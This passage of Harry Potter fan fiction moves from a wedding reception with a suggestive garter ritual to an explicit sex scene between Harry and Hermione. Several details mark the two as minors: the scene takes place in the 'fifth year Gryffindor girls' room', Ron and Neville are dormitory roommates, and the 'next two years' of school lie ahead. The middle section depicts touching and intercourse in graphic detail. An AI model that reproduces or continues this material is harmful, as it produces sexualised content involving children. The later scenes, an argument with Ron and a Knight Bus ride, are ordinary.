have kittens,&#8221; Arabella protested.</p>\n\n<p>&#8220;So what!&#8221; Sirius scoffed.&nbsp; &#8220;He&#8217;s a young man and he ought to be able to make up his mind about a few things.&nbsp; And if we have any problems with the Dursleys this summer, I&#8217;ll let them know exactly what I think of them.&nbsp; Since I&#8217;m not a fugitive anymore, I feel free to speak my mind.&#8221;</p>\n\n<p>&#8220;And what pray tell do you think you&#8217;ll say to them?&#8221; asked Arabella.</p>\n\n<p>&#8220;I think if I went over there with my wand on my belt, told them that I&#8217;m his godfather and that I&#8217;m very unhappy with things &#8211; that they&#8217;d listen up.&nbsp; Especially if I said that they were damned lucky that I was behind bars when Harry was a little boy otherwise they&#8217;d have found themselves transfigured into swine for treating him so badly.&#8221;</p>\n\n<p>Harry grinned at the thought of how Aunt Petunia and Uncle Vernon would be shaking in their shoes to have Sirius walk into their living room in his full Wizarding glory.</p>\n\n<p>&#8220;Oh that&#8217;ll work alright, but I&#8217;m not sure that&#8217;s the best tact,&#8221; Arabella said shaking her head.</p>\n\n<p>&#8220;Fine.&nbsp; &#8216;Catherine&#8217; can work on all the cover stories she wants to in order to get Harry over to our house every day.&nbsp; But if you ever fall down, I have my Plan B,&#8221; Sirius said grinning at Harry.</p>\n\n<p>The photographer came up to Sirius and Arabella and announced that it was time to cut the cake.&nbsp; The wedding party walked over to a three-tiered white cake with purple roses and green leaves adorning it.&nbsp; On the top rested figurines in the shape of a dog and a cat.&nbsp; The couple made their ceremonial cutting of the first piece and then gently fed each other some cake.&nbsp; Fred made a snide comment that the groom ought to try and bonk the bride with the cake, which led to a piercing glare in his direction from Arabella.</p>\n\n<p>The photographer then made an announcement that it was time for all the single ladies to come to the dance floor for the bouquet toss.&nbsp; Hermione and Penny walked directly to the site as well as numerous female house-elves.</p>\n\n<p>The photographer noticing the table with many female faculty members walked over to them.</p>\n\n<p>&#8220;Are any of you ladies single?&#8221; he asked.&nbsp; </p>\n\n<p>&#8220;And what if we are?&#8221; Madam Pince asked sharply.</p>\n\n<p>&#8220;Umm, well, you see, we are going to have the bouquet toss and umm&#8230;&#8221;</p>\n\n<p>Professor Sprout rolled her eyes.&nbsp; &#8220;I think I speak for everyone here when I say that anyone interested in fighting over a bunch of flowers will voluntarily go to the dance floor.&nbsp; I for one feel that I&#8217;m a bit old for that nonsense.&#8221;</p>\n\n<p>He gulped and left the table, looking very embarrassed.</p>\n\n<p>Mrs. Weasley brought Ginny by the hand to the dance floor.</p>\n\n<p>&#8220;Honestly, Ginny.&nbsp; This is supposed to be fun,&#8221; Mrs. Weasley scolded.</p>\n\n<p>Ginny looked sulky and stood next to Penny with Hermione on the other side.&nbsp; The female house-elves were all surrounding them.</p>\n\n<p>Arabella looked over her shoulder and smiled at Hermione.&nbsp; She raised her left hand and placed it dramatically over her eyes.&nbsp; She then brought her right arm upwards to toss the bouquet, but at the last moment turned around and hurled it directly at Hermione.</p>\n\n<p>Ginny looked bitterly disappointed.</p>\n\n<p>&#8220;Arabella,&#8221; Mrs. Weasley complained.&nbsp; &#8220;You aren&#8217;t supposed to just throw the bouquet at your intended target.&nbsp; It&#8217;s supposed to be a toss-up.&#8221;</p>\n\n<p>Arabella smiled, &#8220;It&#8217;s my wedding, Molly.&nbsp; I can choose what traditions I want to follow and which ones I want to change.&#8221;</p>\n\n<p>Mrs. Weasley shook her head and muttered under her breath as she put her arm around Ginny and led her back to the table.</p>\n\n<p>&#8220;It&#8217;s time for all the bachelors to gather round,&#8221; Sirius said as he brought a chair to the centre of the dance floor.</p>\n\n<p>The Weird Sisters struck up a bluesy song with lots of saxophone in it.&nbsp; Bill, Percy, the twins, Ron, Harry and Neville as well as the single male house-elves all stood in a semi-circle around the vacant chair waiting for &#8216;the show&#8217; to begin.&nbsp; The photographer had learned his lesson with the female faculty members and did not try to recruit Snape or Filch to join in the festivities.</p>\n\n<p>Arabella slowly walked up to the chair and took a seat.&nbsp; She dramatically crossed one leg and started moving it in slow provocative circles and lifting her skirt showing a generous portion of leg.&nbsp;&nbsp; Sirius got down on one knee and took off her shoe.&nbsp; He took two fingers and traced a line going up the inside of her calf, circling her knee and slowly going up the inside of her thigh.&nbsp; Howls of delight were emitted by the gathered bachelors.&nbsp; As he found the garter, Sirius used one finger to lift the elastic band and gently draw it down her leg.&nbsp; As he held the blue ribboned garter in his hands he stood up and gave his bride a kiss to the cheers of the crowd.</p>\n\n<p>The bachelors then started elbowing themselves in trying to get in the best position to catch the garter.&nbsp; Sirius looked at them and chuckled.&nbsp; He turned his back and shot the garter into the air as if it were a large rubber band.&nbsp; The blur of blue and white lace streaked through the air and was headed directly towards Harry, when Ron jumped in front of him.&nbsp; Ron was grasping at the air with empty hands and realized that the garter had disappeared.</p>\n\n<p>Ron&#8217;s face became clouded with anger.&nbsp; &#8220;That&#8217;s not fair!&#8221; he scowled at the groom.</p>\n\n<p>Sirius shrugged his shoulders and gave his godson a wink, &#8220;Who said I had to be fair?&#8221;</p>\n\n<p>Harry was confused by this exchange and then reached into his pocket.&nbsp; He found that the garter had magically appeared there.&nbsp; He drew it out slowly and then twirled it in the air.</p>\n\n<p>&#8220;I guess I got it,&#8221; he said sheepishly.</p>\n\n<p>Ron shot him a darkened look.</p>\n\n<p>Hermione then sat down in the chair on the dance floor as the Weird Sisters started to play the same sensuous song.&nbsp; She crossed her legs and let one shoe dangle off her toes.&nbsp; Harry knelt down and smiled up at her.&nbsp; He tossed the shoe over his shoulder, took one finger and stroked the underside of her foot making her flinch.&nbsp; He stretched the garter over her foot and used both of his hands to slowly drag it up her leg.&nbsp; He stopped at her knee and snapped it.</p>\n\n<p>The twins howled, &#8220;Higher, higher!&#8221;</p>\n\n<p>&#8220;You can do better than that,&#8221; Bill chided him.</p>\n\n<p>Hermione arched an eyebrow at him and then nudged Harry with her foot.&nbsp; He took hold of the garter again and inched it upwards under her crinoline petticoat.&nbsp; He was careful not to expose her leg to the crowd, so his hand movements were hidden from view.&nbsp; He wasn&#8217;t quite sure exactly how far he could go up her leg before this exhibition was no longer simply risqu&#233;, but became indecent.&nbsp; He had almost reached the midway part of her thigh when he felt the texture on her legs change.&nbsp; He felt lace and a small rubberized clip.&nbsp; When he realized that she was wearing silk stockings rather than simple pantyhose, he felt his heart pound.&nbsp; He stopped at that point and touched her bare skin in a circular motion with an index finger.&nbsp; He looked up in her eyes and saw that they were filled with desire.&nbsp; Harry then allowed his hands to glide down her leg to the approving whistles of the twins, Bill, Percy and Neville.&nbsp; Ron had sat down next to Ginny, they both looked very angry. </p>\n\n<p>Soraya gave a wail and Kathleen Black brought her to Arabella.</p>\n\n<p>&#8220;Oh, it seems she&#8217;s hungry again,&#8221; Arabella said as she took her daughter in her arms.&nbsp; &#8220;I think we ought to be leaving.&#8221;</p>\n\n<p>Sirius thanked everyone for coming and told Harry that they would see him in the morning.&nbsp; They were going to stay at the inn in Hogsmeade for the night.&nbsp; It was much more spacious and accommodating than the cramped staff quarters.</p>\n\n<p>Harry had enjoyed the wedding and the reception, but he couldn&#8217;t wait for it to be over.&nbsp; Hermione gave a large yawn, which Harry suspected was a fake.&nbsp; She wanted to turn in and hoped to start a trend.&nbsp; Any giddiness that he had felt after drinking the one glass of champagne had worn off hours ago.&nbsp; Now all he felt was the dull throb of desire.</p>\n\n<p>*</p>\n\n<p>Harry lay awake in his bed with the curtains closed.&nbsp; He was listening for Neville and Ron&#8217;s snores.&nbsp; He wanted to wait for a long enough time so they were safely asleep.&nbsp; He kept looking at his watch and seeing the time slowly creep forward.&nbsp; Ten minutes of snoring seemed long enough and Harry quietly crept out of his bed with his bathrobe and slippers and wearing his Invisibility Cloak.&nbsp; He slowly walked down the stairs and stepped on the edge of the stairwell avoiding the center where it creaked.&nbsp; His heart was pounding as he quietly rapped on the door leading to the fifth year Gryffindor girls&#8217; room.</p>\n\n<p>Hermione opened the door and after he walked inside she grabbed the Invisibility Cloak off of him.&nbsp; She slowly traced her tongue around her lips and breathily said, &#8220;Well, Harry&#8230;&#8221;</p>\n\n<p>He met her eyes and then slowly looked down her body.&nbsp; She was wearing a thin dress cloak tied loosely at her shoulders.&nbsp; Under it she was wearing a black nylon camisole with lace on the bodice and a black half-slip.&nbsp; After lingering on her figure he brought his eyes level to her gaze and blinked.&nbsp; &#8220;Er, you look beautiful.&#8221;</p>\n\n<p>&#8220;Harry, everyone in the court saw our signals&#8230;maybe you ought to tell me the password before we umm, begin?&#8221;</p>\n\n<p>&#8220;Moony, Padfoot and&#8230;&#8221; </p>\n\n<p>&#8220;Prongs,&#8221; she finished throwing her arms around him and kissing him.&nbsp; Harry&#8217;s hands began running up and down her body.&nbsp; As he felt the warmth of her body beneath the thin silky fabric he felt his desire for her strengthening, when she abruptly broke their kiss.</p>\n\n<p>&#8220;Help me put my trunk in front of the door,&#8221; she said as she lifted one end.</p>\n\n<p>&#8220;Why don&#8217;t we do a charm to lighten it?&#8221; he asked as he struggled with the weight.</p>\n\n<p>&#8220;I did that in order to get it over here.&nbsp; I don&#8217;t want to forget and make it easy for anyone to interrupt us.&#8221;</p>\n\n<p>&#8220;What do you have in there?&nbsp; Bricks?&#8221; Harry asked as he helped heave it in front of the door.</p>\n\n<p>&nbsp;&#8220;Books.&nbsp; What else?&nbsp; Oh and just so you know, the windows are charmed so no one can see in.&#8221;</p>\n\n<p>He looked around and noticed that Hermione had lit candles around the room to add a romantic glow.&nbsp; The full moon also added a bright radiance to the room.&nbsp; The other four beds had their curtains all hung down while her bed had the drapes drawn open and the covers turned down. </p>\n\n<p>She led him over to her bed and they sat down slowly.&nbsp; Harry stroked the side of her face.</p>\n\n<p>&#8220;Hermione, I love you.&nbsp; I want you to know how much you mean to me.&nbsp; We will only go as far as you are ready.&nbsp; I don&#8217;t want to make you feel pressured,&#8221; then he paused.&nbsp;&nbsp; &#8220;Do you feel nervous?&#8221;</p>\n\n<p>&#8220;A little.&nbsp; It&#8217;s my first time, please be gentle.&#8221;</p>\n\n<p>&#8220;I don&#8217;t want to hurt you,&#8221; he said softly.&nbsp; &#8220;Let me know if you feel uncomfortable at all.&nbsp; I&#8217;ll stop, okay?&#8221;</p>\n\n<p>She nodded and he gave her a soft lingering kiss.&nbsp; Then he stood to take off his bathrobe.&nbsp; He reached into the pocket and took out his wand, a bottle of massage oil, two condoms and set them on the bedside table. </p>\n\n<p>&#8220;Two?&nbsp; Did you think we&#8217;d do it <i>twice</i>?&#8221; </p>\n\n<p>&#8220;No,&#8221; Harry said blushing.&nbsp; &#8220;It was just in case I did something stupid like rip the first one.&nbsp; I&#8217;d have a back up.&#8221;</p>\n\n<p>Hermione gave him a smile, took off his glasses and set them on the table, &#8220;You&#8217;re very sweet.&#8221;&nbsp;&nbsp;&nbsp; </p>\n\n<p>Harry untied her dress cloak and took it off her shoulders.&nbsp; He set it on the end of the bed and then tilted her chin in his hands and gave her another lingering kiss.&nbsp; His lips then slid down her neck as she rolled her head.</p>\n\n<p>&#8220;Why don&#8217;t you lie down and I&#8217;ll give you a massage.&nbsp; It&#8217;ll help to relax you,&#8221; he said quietly.</p>\n\n<p>She nodded and stretched out on the bed on her stomach.&nbsp; Harry kneeled on the bed next to her, took the massage oil and poured some in his hands and started kneading the muscles on her neck and shoulders.&nbsp; She was a bit tense at first, but soon responded to his soft touch and he began to feel her relaxing.&nbsp; He rubbed her back and arms and it seemed as if her body was melting into the bed.&nbsp; This was far different from the massages he had given to both Sirius and Arabella.&nbsp; He had been trying to relieve their sore cramped muscles, but for Hermione he was trying to elicit a pleasurable response.&nbsp; Harry started massaging the bottom of her feet and then moved to her calves.&nbsp; He started to feel himself getting more nervous and excited when he looked at the back of her thighs and realized that she was not wearing anything under her half-slip.&nbsp; He slowly worked his way up her legs, but kept a safe distance from her buttocks.&nbsp; He wanted her to actively decide before he touched her there or on her inner thighs.</p>\n\n<p>&#8220;Why don&#8217;t you roll over?&#8221;</p>\n\n<p>She did and Harry laid his body down next to her looking in her eyes. &#8220;Can I go further?&#8221;</p>\n\n<p>She nodded and then kissed him.&nbsp; Hermione undid the buttons on his pyjama top and slipped it off him.&nbsp; Soon her hands were roaming the front of his chest.</p>\n\n<p>&#8220;It looks like you&#8217;re starting to get a little chest hair,&#8221; she observed.</p>\n\n<p>&#8220;There&#8217;s not much, but yeah it&#8217;s starting to grow.&#8221;</p>\n\n<p>Harry slowly moved the lacy shoulder straps of her camisole down exposing her small breasts.&nbsp; He softly caressed them by moving his hands in a circular motion and then he then lazily traced the outline of one nipple with his tongue.&nbsp; He was surprised to discover that the massage oil had the pleasant taste of almonds.&nbsp; He began to tease the nipple lightly with his tongue and teeth causing it to become a hard little rosebud.&nbsp; Harry watched Hermione&#8217;s ribcage rise and fall as her breathing slowed down.&nbsp; She grasped his head in her hands and directed him to her other breast to repeat the kissing and nuzzling.&nbsp; He then raised his head and kissed her on the mouth again as his hands started to gravitate down to her waist.&nbsp; </p>\n\n<p>&#8220;Can I touch you down there?&#8221;</p>\n\n<p>&#8220;Please.&#8221;</p>\n\n<p>Harry put his hands underneath the silky fabric of the half-slip and moved it upwards towards her waist.&nbsp; He found that his desire for her was increasing to a fevered pitch as his fingers began to explore and probe the area between her legs.&nbsp; He looked at her face and saw that she had closed her eyes and was lost in the abandon of pleasure.&nbsp; He smiled as he realized that he was doing this right.&nbsp; She was responding to all of his touches and caresses.&nbsp; She trusted him fully with her body.&nbsp; He pressed himself against the outside of her thighs.&nbsp; It was almost more than he could bear.&nbsp; He would need to either stop now or complete the act.</p>\n\n<p>&#8220;Hermione, do you want to make love?&#8221; he asked looking her in the eyes.</p>\n\n<p>&#8220;Yes, Harry,&#8221; she said huskily.</p>\n\n<p>Harry took off his pyjama pants and boxers.&nbsp; He reached over for the condom on the bedside table.&nbsp; He placed his glasses back on his face to help him see as he tore the wrapper.&nbsp; He fumbled a little as he tried to put it on.</p>\n\n<p>&#8220;Oops, wrong way,&#8221; he mumbled.</p>\n\n<p>Hermione stifled a small laugh.&nbsp; Harry removed his glasses and then took her face in his hands and gave her a long passionate kiss.&nbsp; He stretched out next to her and his hands slowly worked their way down her body.&nbsp; He helped to separate her legs as he moved over and guided himself inside of her. As Harry entered her, he was shocked at the intensity of the sensations felt by his body.&nbsp; It was as if all of his nerve endings were concentrated in one area.&nbsp; He felt as if it wasn&#8217;t simply their bodies physically joining together, but a joining of their souls.&nbsp; </p>\n\n<p>Hermione had emitted a strangled gasp as they had become one.&nbsp; Sirius had warned Harry to expect that she might experience some pain, but assured him that it would soon pass.&nbsp; Harry held her tenderly in his arms and began to kiss her face.&nbsp; He kissed her furrowed brow and felt it soften under his touch.&nbsp; </p>\n\n<p>&#8220;Are you okay?&#8221;</p>\n\n<p>She nodded, &#8220;I&#8217;ll be fine.&#8221;</p>\n\n<p>Harry kissed her again.&nbsp; Soft gentle kisses and then he kissed the side of her neck making her head roll again.&nbsp; He took one of her hands and moved it between them.&nbsp; Her hand started to massage the area and as the tension in her body subsided, Harry began to slowly resume making love to her.&nbsp; As he continued he felt as if they were joining each other physically, psychically, and emotionally.&nbsp; He had never imagined feeling as close spiritually with another person.&nbsp;&nbsp; He couldn&#8217;t imagine making love casually with just any willing partner, it was far too powerful and intimate an act.&nbsp; Hermione&#8217;s body began to shudder as she dug her fingernails into his back.&nbsp; As she moaned in ecstasy, Harry felt himself exploding within her.&nbsp; He collapsed and put the full weight of his body upon her, panting heavily.&nbsp; Afterwards, they looked deeply in each other&#8217;s eyes and found that they both had tears in them.</p>\n\n<p>&#8220;I love you, Hermione Granger.&#8221;</p>\n\n<p>&#8220;<i>Lover.&nbsp; </i>You&#8217;re my lover.&nbsp; Oh, Harry.&nbsp; I never thought you&#8217;d love me.&#8221;</p>\n\n<p>&#8220;Why is that?&#8221; he asked brushing the hair off her face.</p>\n\n<p>&#8220;Because&#8230;&#8221; she choked back the words, &#8220;because I was too smart for you.&nbsp; And because I wasn&#8217;t good looking enough for you.&nbsp; I didn&#8217;t think that you would ever be interested in me.&nbsp; I&#8217;ve loved you for so long, but I knew that you only thought of me as a friend.&nbsp; At the end of our first year, I was afraid you might die trying to save the Philosopher&#8217;s Stone and so I hugged you.&nbsp; You were more embarrassed by that than you were scared about facing Voldemort.&nbsp; After that reaction, I was afraid that if I ever let you think that I loved you &#8211; that I might lose your friendship.&nbsp; I couldn&#8217;t bear that thought, so I tried to hide my true feelings about you.&#8221;</p>\n\n<p>&#8220;Hermione,&#8221; he said softly.&nbsp; &#8220;Sorry, I was a bit slow on the uptake.&#8221;</p>\n\n<p>&#8220;And last year when it was clear that you liked Cho, I sort of resigned myself to never being the object of your affections.&nbsp; I began to wonder if anyone would ever love me.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Is that why you started dating Viktor?&#8221;</p>\n\n<p>&#8220;Yes,&#8221; she said quietly.&nbsp; &#8220;I never did feel anything towards him.&nbsp; I feel guilty about that, but I did try to let him down gently and honestly.&#8221;</p>\n\n<p>&#8220;Did you ever feel anything towards Ron?&#8221; Harry asked nervously.</p>\n\n<p>&#8220;I tried to.&nbsp; I sensed that he was jealous of Viktor and that maybe it was because he liked me.&nbsp; The problem is that Ron has never tried to understand me.&nbsp; He&#8217;s never taken the time to understand why I care about the plight of house-elves.&nbsp; He also shows no interest whatsoever in understanding Muggle culture.&nbsp; It&#8217;s my home world and he&#8217;s not curious about it at all.&nbsp; It&#8217;s his callous disregard of what matters to me that made me realize it would never work for us.&nbsp; Besides that, it would always have been me trying to convince myself to fall in love with someone other than you. And then last year when you&#8230;&#8221; her voice choked.</p>\n\n<p>&#8220;When I what?&#8221; Harry coaxed.</p>\n\n<p>&#8220;When you said that I wasn&#8217;t your girlfriend, it hurt.&nbsp; Because it sounded like you were embarrassed that anyone might even consider that as a possibility.&nbsp; I had wanted it for so long, even Rita Skeeter saw something there, but you&#8230;you didn&#8217;t even want to think that way about me.&#8221;</p>\n\n<p>New tears formed in her eyes and Harry tenderly brushed them away.</p>\n\n<p>&#8220;Hermione, I&#8217;m sorry about that.&nbsp; And I&#8217;m sorry that it took me so long.&nbsp; You have been so close to me, that I couldn&#8217;t even see you clearly.&nbsp; I do now and I am utterly amazed by you.&nbsp; <i>You are beautiful,</i> but your true beauty comes from the fire and passion within your soul.&nbsp; That will last your entire life.&nbsp; At the end of our third year Dumbledore told me that when I saved Pettigrew&#8217;s life that it created a bond between us.&nbsp; He said that when one wizard saved another one&#8217;s life that it was magic at its deepest, at its most impenetrable.&nbsp; I know that we&#8217;ve both saved each other&#8217;s life several times over and now after doing this together, I cannot imagine having a stronger bond with anyone.&#8221;</p>\n\n<p>&#8220;Well, that is until we conceive a child together,&#8221; Hermione said softly.</p>\n\n<p>&#8220;I&#8217;m not ready for that,&#8221; Harry said quickly.</p>\n\n<p>&#8220;Don&#8217;t worry, neither am I.&#8221;</p>\n\n<p>&#8220;I want you to know that there is no one that I trust with my life as much as you.&#8221;</p>\n\n<p>She swallowed hard at that.&nbsp; &#8220;What about Dumbledore or Sirius?&#8221;</p>\n\n<p>&#8220;They&#8217;re my mentors.&nbsp; You are my equal.&nbsp; My partner, my lover, my soul mate.&nbsp; I want you in my life permanently.&nbsp; One day I intend on marrying you.&#8221;</p>\n\n<p>He leaned over and kissed her fully on the lips.&nbsp; Tears streamed down both of their faces.&nbsp; He took her face in his hands and looked her squarely in the eyes.&nbsp; &#8220;If I were to die tomorrow, I would have no regrets.&nbsp; I have now experienced love fully and have bared my soul with another.&#8221;</p>\n\n<p>&#8220;Oh Harry,&#8221; she sobbed.&nbsp; &#8220;I love you so much.&nbsp; How am I supposed to survive without seeing you for two months?&nbsp; Or even the next two years here when we&#8217;ll be close to each other, but won&#8217;t be able to do <i>this</i> again.&#8221;</p>\n\n<p>Harry kissed the top of her head, &#8220;I&#8217;ll ask Sirius.&nbsp; I&#8217;m sure he&#8217;ll think of something.&nbsp; We&#8217;ll see each other this summer somehow.&nbsp; We&#8217;ll just have to figure out a way so your parents won&#8217;t chaperone us.&nbsp; And uh, I think Sirius might have some experience about rendezvous here.&#8221;</p>\n\n<p>&#8220;Having a Marauder for a godfather does have its advantages,&#8221; she said and then sounded a bit nervous. &#8220;Harry, did you ever do this before?&#8221;</p>\n\n<p>&#8220;No, I had never even kissed a girl before you.&nbsp; Why do you ask?&#8221;</p>\n\n<p>&#8220;Because, you were really good.&nbsp; I&#8217;ve heard that the first time is usually pretty awkward, but you seemed to know exactly what to do.&#8221;</p>\n\n<p>&#8220;Umm, I had a long talk with Sirius earlier today,&#8221; Harry admitted.&nbsp; &#8220;He made me promise last summer that I would come to him before I did anything like this.&nbsp; He gave me some suggestions and told me some things <i>not</i> to do.&nbsp; He has a lot of experience with women.&#8221;</p>\n\n<p>&#8220;So he knew that we were going to do this tonight?&#8221; </p>\n\n<p>&#8220;He&#8217;s the only one who knows, well maybe now Arabella.&#8221;</p>\n\n<p>&#8220;I guess that&#8217;s okay, especially if you turn to him for help arranging this type of thing in the future&#8221; she said lazily tracing figure eights on his chest.&nbsp; &#8220;Harry, I don&#8217;t want you getting experienced with other women.&nbsp; Just me.&nbsp; I want you all to myself.&#8221;</p>\n\n<p>&#8220;Same here,&#8221; he replied, &#8220;I&#8217;m not interested in anyone else and I want you all to myself.&#8221;</p>\n\n<p>They clung to each other for hours just enjoying being in each other&#8217;s arms.&nbsp; They kissed and ran their hands over each other&#8217;s body endlessly.&nbsp; Neither wanted the night to end.&nbsp; Finally, Harry felt that he must leave and return to his dormitory before he became so drowsy that he might fall asleep and risk waking up in Hermione&#8217;s room in the morning.</p>\n\n<p>As they put their nightclothes back on, Hermione took her wand and waved it over the stained bottom sheet of her bed.&nbsp; It started to shrink until it was the size of a postage stamp.&nbsp; </p>\n\n<p>&#8220;What did you do that for?&#8221; asked Harry.</p>\n\n<p>&#8220;I&#8217;ve been collecting and destroying my loose hair and nail clippings for an entire school year.&nbsp; Do you think I would let something like this bed sheet with such clear magical powers land into someone else&#8217;s hands? &nbsp;No, I want it firmly under my control.&#8221;</p>\n\n<p>She then opened her locket and placed the small scrap of fabric inside.&nbsp;&nbsp; She held the necklace in her hand and smiled.&nbsp; &#8220;Now when I hold this, I&#8217;ll be remembering this night and how much I love you.&#8221;</p>\n\n<p>Harry grabbed her in his arms and gave her a long and full kiss goodnight.&nbsp; &#8220;I&#8217;ll see you in the morning.&#8221;</p>\n\n<p>&#8220;Until then,&#8221; she said dreamily. </p>\n\n<p>Harry left the girls&#8217; dormitory with his mind and heart in the clouds.&nbsp; He was cautious not to make any noise.&nbsp; He quietly returned to his bedroom and tip toed across the room to his bed.&nbsp; He silently removed his slippers and placed his glasses on the bedside table.&nbsp; Then he carefully moved the red curtains and climbed in his bed.&nbsp; Only when he was safely behind his bed curtains did he remove his Invisibility Cloak.&nbsp; He lay down in bed and breathed a big sigh of relief.&nbsp; As his head touched his pillow he smiled.&nbsp; He was looking forward to dreaming about Hermione and reliving that night in his dreams.</p>\n\n<p>&#8220;So Harry.&nbsp; You were gone a long time,&#8221; came Ron&#8217;s angry voice across the room.&nbsp; <i>&#8220;Did you shag her?&#8221;</i></p>\n\n<p>Harry felt the blood rush to his face.</p>\n\n<p>&#8220;Ron!&nbsp; Don&#8217;t talk about her that way,&#8221; Harry warned.</p>\n\n<p>Ron ripped open Harry&#8217;s bed curtains and stood glaring at him.&nbsp; &#8220;Did you?&nbsp; Don&#8217;t lie to me.&nbsp; I&#8217;m tired of all your lies.&nbsp; I know you were with her.&nbsp; You were gone for <i>three hours</i>.&nbsp; Did you think I wouldn&#8217;t notice?&#8221;</p>\n\n<p>Harry stood up and looked him straight in the eye.&nbsp; &#8220;Hermione and I are in love.&nbsp; What we do in private is none of your business.&#8221;</p>\n\n<p>&#8220;Oh really?&nbsp; You&#8217;re not the only one in love with her.&nbsp; If you hurt her, so help me I will kick your ass.&#8221;</p>\n\n<p>&#8220;I would never do anything to hurt her and you know it.&nbsp; Ron, you&#8217;re my best mate, but Hermione is my soul mate.&nbsp; I don&#8217;t want the fact that both of us love her to ruin our friendship.&nbsp; You are just going to have to learn to deal with the fact that Hermione and I are together, because nothing is ever going to come between us, not even my friendship with you.&#8221;&nbsp; </p>\n\n<p>&#8220;How do you know she doesn&#8217;t love me?&nbsp; And isn&#8217;t with you just out of pity?&#8221; he spat.</p>\n\n<p>&#8220;Ron, trust me on this.&nbsp; Hermione loves me.&nbsp; I even asked about her feelings for you.&nbsp; She&#8217;s been in love with me for years, but when I started paying attention to Cho, she gave up hope that I&#8217;d ever notice her as a girl.&nbsp; That&#8217;s when she started looking at you as a romantic prospect.&nbsp; Except that you kept rejecting things that were important to her.&#8221;</p>\n\n<p>&#8220;Like what?&#8221; Ron asked hotly.</p>\n\n<p>&#8220;Like your constant ridicule of her interest in house-elves.&nbsp; Her passion for justice is an integral part of who she is.&nbsp; To reject that is to reject her as a person, Ron.&nbsp; She also felt that your continued hostility to learning about Muggle culture showed that you weren&#8217;t interesting in knowing where she came from.&nbsp; She embraced the Wizarding World as soon as she learned she was coming to Hogwarts.&nbsp; And yet, you can&#8217;t even try to learn the first thing about popular culture in her world.&nbsp; That&#8217;s why she realized that it would never work between you two.&nbsp; Because you weren&#8217;t willing to accept her for who and what she is.&#8221;</p>\n\n<p>Ron and Harry looked fiercely at each other for a few moments.&nbsp; Harry was not going to back down.&nbsp; Everything he told his friend was the truth and Ron knew it.&nbsp; He would just have to face the facts that Harry had won Hermione&#8217;s heart and accept it.&nbsp; Ron then slowly nodded and clapped Harry on the shoulder.&nbsp; </p>\n\n<p>Ron&#8217;s face looked tortured and his voice was thick with emotion.&nbsp; &#8220;You be good to her.&nbsp; If you don&#8217;t, I <i>will</i> kick your ass.&#8221;</p>\n\n<p>Ron went back to his bed.&nbsp; Harry laid his head on his pillow and his mind was spinning.&nbsp; Minutes before he had been in the arms of the woman he loved.&nbsp; He had never felt such a sense of completeness and love.&nbsp; And now after arguing with Ron he felt like his soul had been plunged into the depths of despair.&nbsp;&nbsp; They had never really spoken to each other about their own feelings toward Hermione before.&nbsp; Harry had suspected that Ron cared for her deeply, but now he knew for sure.&nbsp; Harry didn&#8217;t know how Ron would be able to interact with him and Hermione now.&nbsp; However, that was something that only Ron had control over.&nbsp;&nbsp;&nbsp; </p>\n\n<p>Harry also realized that Neville was no longer snoring.&nbsp; He began to wonder how much Neville had overheard.&nbsp; He was now feeling a little shameful.&nbsp; He had tried his best to protect Hermione&#8217;s reputation, but now Ron and possibly Neville knew that Harry had been alone with Hermione in her bedroom for hours.&nbsp; He sighed heavily and punched his pillow.&nbsp; There was nothing he could do about that now.&nbsp; As he closed his eyes for sleep, he felt a mixture of emotions roil within him.&nbsp; </p>\n\n<p>*</p>\n\n<p>The next morning Harry vowed to himself that he would try to stop worrying what other people thought of him and Hermione being together.&nbsp; He knew that eventually people would expect them to become intimate anyway, so what difference would it really make in the great scheme of things as to when people began to think of them as lovers.&nbsp; He planned on being with her for a long, long time.&nbsp; As soon as he saw her smiling face, his heart was lifted.&nbsp; She ran to him and gave him a great big welcoming hug and kiss and linked her arm around his back to go down to breakfast.&nbsp; </p>\n\n<p>After their morning meal and saying their goodbyes to Dumbledore, the Longbottoms, the house-elves and Hagrid, the students took the flying carriages to Hogsmeade where they would wait for the Knight Bus to pick them up.&nbsp; Sirius and Arabella were waiting for them at the bus stop and were holding Soraya and leaning against his gleaming motorcycle.&nbsp; Mr. and Mrs. Weasley had also stayed overnight at the inn and were chatting with the newlyweds.&nbsp; </p>\n\n<p>As they gave their trunks to Stan Shupike for storage in the compartments under the bus, Sirius transfigured his motorcycle into a small bicycle so that it would fit in the storage space.&nbsp; </p>\n\n<p>&#8220;Harry have you ever been to the third floor on the Knight Bus?&#8221; Sirius asked.</p>\n\n<p>&#8220;No, isn&#8217;t it the same as the first and second?&#8221; Harry replied.</p>\n\n<p>Sirius just shook his head and beckoned him to follow.&nbsp; As they walked onto the third floor, Harry realized why his godfather liked this floor the best.&nbsp; There was a large bar at one end and comfortable couches lined the walls.&nbsp; Hermione was drawn to an upright piano that was bolted to the floor in the centre of the room.</p>\n\n<p>&#8220;A piano.&nbsp; I never knew they had one on board,&#8221; she said looking at it eagerly.</p>\n\n<p>Ron looked at her with a mixture of impatience and irritation.&nbsp; &#8220;What?&nbsp; Are you going to play Chopin for us?&#8221;</p>\n\n<p>&#8220;Ron, that&#8217;s pronounced Show-pan, not Choppin,&#8221; she said gently.&nbsp; &#8220;And yes, I do know the classics, but I prefer Rock and Roll.&#8221;</p>\n\n<p>Hermione sat down on the bench, stretched her arms and cracked her knuckles.&nbsp; She began to warm her fingers up with doing a few scales and then she flashed a smile at Ron and said, &#8220;Just watch.&#8221;</p>\n\n<p>Hermione began to play a few notes in a halting manner, but then after a few bars Harry started to recognize it.&nbsp; </p>\n\n<p>&#8220;Is that&#8230;Elton?&#8221; he asked.</p>\n\n<p>Hermione nodded as she began to play faster and more confident in a bluesy manner.&nbsp; She began to swing her head and her shoulders in time with the music.&nbsp; Harry sat down on the piano bench next to her as the Knight Bus took off with a Bang!</p>\n\n<p>&#8220;Elton who?&#8221; asked Ron.</p>\n\n<p>&#8220;Elton John!&#8221; Harry said smiling.</p>\n\n<p>As Hermione belted out &#8220;B-b-benny and the Jetssss,&#8221; Harry found himself grinning from ear to ear.&nbsp; Witches and wizards were beginning to gather around and looked at Hermione with great interest.&nbsp; When she finished the song the assembled crowd applauded her.</p>\n\n<p>&#8220;What was that song?&#8221; one witch with long wiry black hair asked her.</p>\n\n<p>&#8220;Oh it&#8217;s just an old song by a Muggle musician,&#8221; Hermione replied.&nbsp; &#8220;It&#8217;s one of my favourites.&#8221;</p>\n\n<p>Sirius smiled and looked at some of the wizards who looked puzzled, &#8220;You know teenagers and 